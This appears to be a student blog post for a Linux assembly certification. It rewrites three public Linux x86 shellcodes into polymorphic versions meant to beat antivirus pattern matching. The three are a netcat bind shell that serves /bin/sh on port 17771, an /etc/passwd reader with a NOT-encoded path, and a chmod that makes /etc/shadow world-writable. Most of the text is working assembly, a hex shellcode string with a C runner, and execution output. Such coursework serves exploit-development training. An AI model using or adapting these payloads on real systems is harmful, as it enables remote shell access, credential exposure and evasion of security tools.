Assignment 6: Polymorphic Shellcode (SLAE)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-858


Exercise

  • Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger 150% of the existing shellcodee  
  • Bonus points for making it shorter in length than original

Solution

I chose the shellcodes:
  1. Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode - Shellcode that listen on port 17771 and give a shell (/bin/sh)
  2. Linux x86 file reader - Shellcode that open a file and read it
  3. Linux/x86 chmod("/etc/shadow", 0666) shellcode

Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode


I downloaded, analyzed and create my polymorphic shellcode from http://shell-storm.org/shellcode/files/shellcode-872.php

Shellcode Analysis


It is a very easy shellcode where it is just using the execve syscall with the parameter "/bin/nc -le /bin/sh -vp 17771". So, We can see how is pushing the strings on the stack and saving the stack pointer on the registers.

    xor eax, eax
    xor edx, edx
    push eax
    push 0x31373737     ;-vp17771
    push 0x3170762d
    mov esi, esp
    push eax
    push 0x68732f2f     ;-le//bin//sh
    push 0x6e69622f
    push 0x2f656c2d
    mov edi, esp
    push eax
    push 0x636e2f2f     ;/bin//nc
    push 0x6e69622f
    mov ebx, esp

Just execute the execve syscall:
    push edx
    push esi
    push edi
    push ebx
    mov ecx, esp
    mov al,11
    int 0x80

Polymorphic Shellcode


Creating a polymorphic shellcode, I have used different methods. To the "-vp17771" I have used the mov instruction on the stack:
    mov dword [esp - 4], 0x31373737
    mov dword [esp - 8], 0x3170762d 
    sub esp, 8
    mov esi, esp

To do the "-le//bin//sh" I have used the push instruction but with a polymorphic calculation of the data, doing add and sub instructions:
    push eax 
    mov eax, 0x68732f2f
    push eax
    add eax, 0x5f63301
    sub eax, 1
    push eax
    sub eax, 0x3f03f602
    push eax

To do the "/bin/nc" I continued doing the add instruction to create the correct string (/bin/sh):
    push edx
    add eax, 0x3408c302
    push eax
    add eax, 0xafb3301
    sub eax, 1
    push eax
    mov ebx, esp
    mov eax, edx

So, the final shellcode is:
global _start
section .text
 _start:
    xor eax, eax
    mov edx, eax
    push eax
    ; push 0x31373737     ;-vp17771
    ; push 0x3170762d
    mov dword [esp - 4], 0x31373737
    mov dword [esp - 8], 0x3170762d 
    sub esp, 8
    mov esi, esp

    push eax 
    mov eax, 0x68732f2f
    push eax
    add eax, 0x5f63301
    sub eax, 1
    push eax
    sub eax, 0x3f03f602
    push eax
    ; mov dword [esp - 4], 0x68732f2f
    ; mov dword [esp - 8], 0x6e69622f
    ; mov dword [esp - 12], 0x2f656c2d
    ; sub esp, 12
    ; push 0x68732f2f     ;-le//bin//sh
    ; push 0x6e69622f
    ; push 0x2f656c2d
    mov edi, esp

    push edx
    ; push eax
    ; push 0x636e2f2f     ;/bin//nc
    ; push 0x6e69622f
    add eax, 0x3408c302
    push eax
    add eax, 0xafb3301
    sub eax, 1
    push eax
    mov ebx, esp
    mov eax, edx

    push edx
    push esi
    push edi
    push ebx
    mov ecx, esp
    mov al,11
    int 0x80

Compile, test and calcule the %:
$ nasm -f elf32 netcat.nasm -o netcat.o

$ cat netcat-new.c 
#include 
#include 

unsigned char shellcode[] =
"\x31\xc0\x89\xc2\x50\xc7\x44\x24\xfc\x37\x37\x37\x31\xc7\x44\x24\xf8\x2d\x76\x70\x31\x83\xec\x08\x89\xe6\x50\xb8\x2f\x2f\x73\x68\x50\x05\x01\x33\xf6\x05\x83\xe8\x01\x50\x2d\x02\xf6\x03\x3f\x50\x89\xe7\x52\x05\x02\xc3\x08\x34\x50\x05\x01\x33\xfb\x0a\x83\xe8\x01\x50\x89\xe3\x89\xd0\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}

$ gcc -fno-stack-protector -z execstack netcat-new.c -o netcat-new
$ ./netcat-new 
Shellcode Length: 80
listening on [any] 17771 ...

Finally, we have a shellcode with length 80 and the original shellcode has length 58, so we have increased the shellcode 37.93%.

Linux x86 file reader


I got the shellcode from http://shell-storm.org/shellcode/files/shellcode-73.php

 

Shellcode Analysis


This shellcode uses the jump call pop technique to get the string with the file path, and it is using four syscalls, sys_open, sys_read, sys_write and sys_exit.

First, get the filename:


 jmp two
one:
 pop ebx
...
two:
 call one
 .string db "/etc/passwd"

Second, open the file and save the file descriptor:
 pop ebx
 mov al, 5
 xor ecx, ecx
 int 0x80
 mov esi, eax

Third, read and write character by character until EOF:
read:
 mov ebx, esi
 mov al, 3
 sub esp, 1
 lea ecx, [esp]
 mov dl, 1
 int 0x80

 xor ebx, ebx
 cmp ebx, eax
 je exit

 mov al, 4
 mov bl, 1
 mov dl, 1
 int 0x80
 
 add esp, 1
 jmp read

When EOF is reached, Exit syscall is executed
exit:
 mov al, 1
 xor ebx, ebx
 int 0x80

Polymorphic Shellcode


As our goal is to do the shellcode polymorphic and more undetectable to the AVs. We started encoding the filename string with a simple not encoder.

Encode string with NOTs:
$ echo -e 'import ctypes\nimport sys\nf="/etc/passwd"\nfor i in f:\n\tsys.stdout.write(hex(ctypes.c_uint8(~ord(i)).value)+",")\nsys.stdout.write("\\nLength: %s\\n"%len(f))' | python
0xd0,0x9a,0x8b,0x9c,0xd0,0x8f,0x9e,0x8c,0x8c,0x88,0x9b,
Length: 11

We still using the jump call pop technique, but we have to decode the filename.
 jmp two
one:
 pop ebx
 
 ; Decode string
 mov  cl, 11  ; File path length
decode:
 not byte [ebx]
 inc ebx
 loop decode
 sub  ebx, 11  ; Restore the address string
...
two:
 call one
 .string db 0xd0,0x9a,0x8b,0x9c,0xd0,0x8f,0x9e,0x8c,0x8c,0x88,0x9b ; Encoded string with not

After we open the file, read and write, as it is a polymorphic shellcode I have changed some values that they were static and now it is being generated in runtime. Final shellcode:
global _start


_start:
 xor eax, eax
 mov ebx, eax
 mov ecx, eax
 mov edx, eax
 jmp two



one:
 pop ebx
 
 ; Decode string
 mov  cl, 11  ; File path length
decode:
 not byte [ebx]
 inc ebx
 loop decode
 sub  ebx, 11  ; Restore the address string


 mov al, 5
 xor ecx, ecx
 int 0x80
 
 mov esi, eax
 jmp read

exit:
 mov al, dl   
 xor ebx, ebx
 int 0x80

read:
 mov ebx, esi
 mov al, 3
 sub esp, 1
 lea ecx, [esp]
 mov dl, 1
 int 0x80

 xor ebx, ebx
 cmp ebx, eax
 je exit

 mov bl, 1
 mov al, bl
 add al, 3
 mov dl, bl
 int 0x80
 
 add esp, 1
 jmp read

two:
 call one
 .string db 0xd0,0x9a,0x8b,0x9c,0xd0,0x8f,0x9e,0x8c,0x8c,0x88,0x9b ; Encoded string with not

The original shellcode has 65 bytes + pathname, and our shellcode has 77 bytes + pathname, so we have increased the shellcode 18.46%


Linux/x86 chmod("/etc/shadow", 0666) shellcode


The following shellcode change the permissions of the /etc/shadow file using the syscall sys_chmod.

Shellcode Analysis


The sys_chmod syscall is 0xf, so, save in the eax register 0xf

  push byte 15
 pop eax
int chmod(const char *pathname, mode_t mode);

now, we need the pathname in ebx and the mode (666) in ecx.
/etc/shadow in ebx:

 push byte 0x77
 push word 0x6f64
 push 0x6168732f
 push 0x6374652f
 mov ebx, esp

666 in ecx:

 push word 0666Q
 pop ecx

After, just exec the syscall (In addition, the exit syscall is executed at the end):

 int 0x80
 push byte 1
 pop eax
 int 0x80

Polymorphic Shellcode


My polymorphic shellcode works same but it is generating the pathname on the way.

Saving the sys_chmod in eax:

 xor edx, edx
 xor eax, eax
 add eax, 0xf

Generating the pathname:
 mov ecx, 0x11
 add ecx, 0x66
 push ecx
 add ecx, 0x6eed
 push cx
 add ecx, 0x616803cb
 push ecx
 push 0x6374652f
 mov ebx, esp

Set the mode and run the syscall:
 xor ecx, ecx
 mov cx, 0x1b6
 int 0x80
 push byte 1
 pop eax
 int 0x80

Compile and run:
$ nasm -f elf32 chmod.nasm -o chmod.o
$ ld chmod.o -o chmod
$ objdump -d ./chmod|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

# ls -la /etc/shadow
-rw-rw-rw- 1 root shadow 1333 feb 21  2017 /etc/shadow

The original shellcode has 39 bytes and our shellcode has 50 bytes, so we have increased the shellcode 38.89%
